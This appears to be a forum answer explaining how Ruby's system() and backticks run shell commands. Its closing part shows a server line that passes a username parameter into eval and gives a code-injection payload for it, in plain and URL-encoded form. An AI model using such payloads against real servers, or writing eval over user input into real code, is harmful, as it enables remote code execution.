Code Execution via Ruby Eval function

I'm not 100% sure of your use case, but I can tell you these:

system will run a shell command, and return success/failure, but won't save the results:

irb(main):001:0> x = system('uname')
Linux
=> true
irb(main):002:0> x
=> true

Backticks will run the shell command and save the output, but don't require the word system:

irb(main):003:0> x = `uname`
=> "Linux\n"
irb(main):004:0> x
=> "Linux\n"

(If you include "system" inside the backticks it will run "system" on the command line; usually not what you want)

Backticks alone don't do anything inside strings:

irb(main):005:0> "I am `uname`"
=> "I am `uname`"

But they will be expanded with #{} inside double quotes:

irb(main):006:0> "I am #{`uname`}"
=> "I am Linux\n"

But it's usually better to run the command first, check for errors, and then add it to the string, like

result = `uname`
# Check for errors here
output = "context #{result} more context"

eval "\"Hello "+params['username']+"\""

if this is the ruby code that runs in the server and if you want to perform code-injection , you can use the following payload.

myuser"+`uname`+"

But you need to URL-Encode the above payload if username param was retrieved via GET request.

Payload after URL-Encoding will be as follows

myuser%22%2B%60uname%60%2B%22